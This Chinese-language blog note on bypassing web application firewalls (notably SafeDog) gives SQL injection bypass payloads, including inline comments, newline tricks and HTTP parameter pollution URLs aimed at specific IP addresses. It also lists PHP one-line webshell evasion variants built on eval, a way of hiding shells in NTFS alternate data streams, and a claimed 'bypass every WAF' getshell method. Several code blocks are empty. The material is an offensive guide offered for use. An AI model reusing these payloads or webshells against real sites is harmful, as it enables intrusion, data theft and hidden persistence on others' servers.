本地搭建安全狗安装坑
系统服务启动的坑
1 | 管理员模式在apache目录执行 |
简介WAF
WAF是一个缩写,全名web应用防护系统(Web Application Firewall),是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品
Waf有硬件类型也有软件类型的,但是其实在我看来,从绕过Waf机制上来说,区别不大,我们一般渗透测试都会遇到软Waf,因为硬件waf价格有点昂贵,正常企业不会购买,所以基本是GOV站点或者国网、运营商等国企才会大规模装配。
常见的软Waf,:安全狗、云锁、云盾、悬镜、护卫神
bypass是什么?
bypass他就是绕过的意思,我们渗透测试人员通过特殊语句的构建进行渗透测试,然后达到绕过waf的手法
waf检测机制其实很简单,核心就是正则匹配,虽然说还有字符串强行匹配,还有什么语义解析,但是实际上还是正则居多。
waf的核心,通过正则匹配,如果符合规则,就拦截。 and 1=1 拦截
and 1=1 => And 1=1 => 因为Waf获得数据之后不会去解码
and 1=1
and =>&
1=1 => -1=-1
/**/ 数据库注射
/*!*/内联注释//可以运行 最新版被拦截
union select => union /*10044!select*/ 最新版基本被拦截
/*%0a */
– qwe /*%0a
– qwe/* %0a union select 1,2 from admin limit 1,1 – qwe*/
内联注释
特殊字符 => %0a 换行
iis 传参里面 s%e%l%e%c%t => select
Apache Hpp
http://192.168.136.129/?id=1/\*&id=2%23*/
http://59.63.200.79:8003/?id=1/\*&id=2 union select 1,2 from admin limit 1,1#*/
记住一句话,安全和客户体验都是需要平衡的,特别是对于Waf而言,你想像,用了waf之后,然后网页动不动就拦截,比如我是用户,然后因为我用户名叫and然后我就被拉黑了,因为我不小心输入个’页面就出问题,这个当然不可以,所以waf一般都是通用的,并不是单独定制的,既然是通用的,那么他拦截上会比较谨慎,所以waf的正则一般是搭配的。’
我们既然知道waf通过正则匹配,那么你们第一个反应就是,替换函数对不对 例如:id= 1 and 1=1 waf对and进行了拦截,那么我们是不是得尝试找到替换and的东西,那么运算符就能帮上我们,例如:&
但是输入时候我们发现只写and是不会被拦截的,那么我们想办法改一改 1=1,可以试试-1=-1
甚至例如直接传参,我使用加减符号,乘除符号运算,或者是字符串传参直接用16进制也可以绕过这个waf
这里要讲一个东西叫做内联注释。
内联注释是Mysql为了保持与其他数据兼容,将Mysql中特有的语句放在/*!…/中,这些语句在不兼容的数据库中不执行,而在mysql自身却能识别,执行。/\!50001*/表示数据库版本>=5.00.01时中间的语句才能被执行
常见绕过手法
1、大小写绕过(很老的waf才有用)
2、替换绕过(很老的waf才有用)【和上传文件那个漏洞一样】
3、特殊字符绕过(%0a换行)
4、编码绕过(比如会多次解码的东西,例如我们DOM XSS绕狗那个)
5、等价替换(利用其它函数替代)[union #%0aselect 拦截] [uinon all #%0aselect 不拦截]
6、容器特性(例如Apache的hpp或者iis的%分割)
7、白名单(管理员权限或者是127.0.0.1本地访问不拦截)
8、缓冲区(数据太多了超出了waf检测的范围)
Bypass Sql注入绕过
Bypass webshell 的绕过 一句话木马 (webshell)
=> 替换 eval 替换$_REQUEST[a] => 超全局变量
——笔录
end()函数绕过waf
我们可以想想如何绕过waf的拦截,不使用[]来进行传参执行呢,我们发现end()函数能够输出数组中的当前元素和最后一个元素的值
通过常量定义绕过waf
1 | <?php define("a","$_REQUEST[a]");eval(a)?>; |
通过字符串拼接+双美元符号
1 |
|
通过定义函数强行分割
1 |
|
通过类定义,然后传参强行分割
1 |
|
多种方式传参免杀
第一种
1 |
|
第二种
1 |
|
以上在安全狗环境测试
1 | if($_SERVER['HTTP_USER_AGENT']==='1') |
拿到shell之后藏shell的妙招: ntfs文件流
NTFS文件流,文件上传 1.jpg:2.txt
cmd 中 echo xxx >> 1.txt:2.txt dir /r 可以查看数据流::$date
1 | cmd中命令 |
(终极手法)绕过市面上所有Waf
1 |
|
提示:可以通过香港云各种网上的数据库进行连接然后传参getshell 用这段代码连接自己香港云的服务器可以达到getshell
总结
以上就是关于waf的sql注入的一些绕过
和一句话木马的各种骚操作和终极绕过思考办法。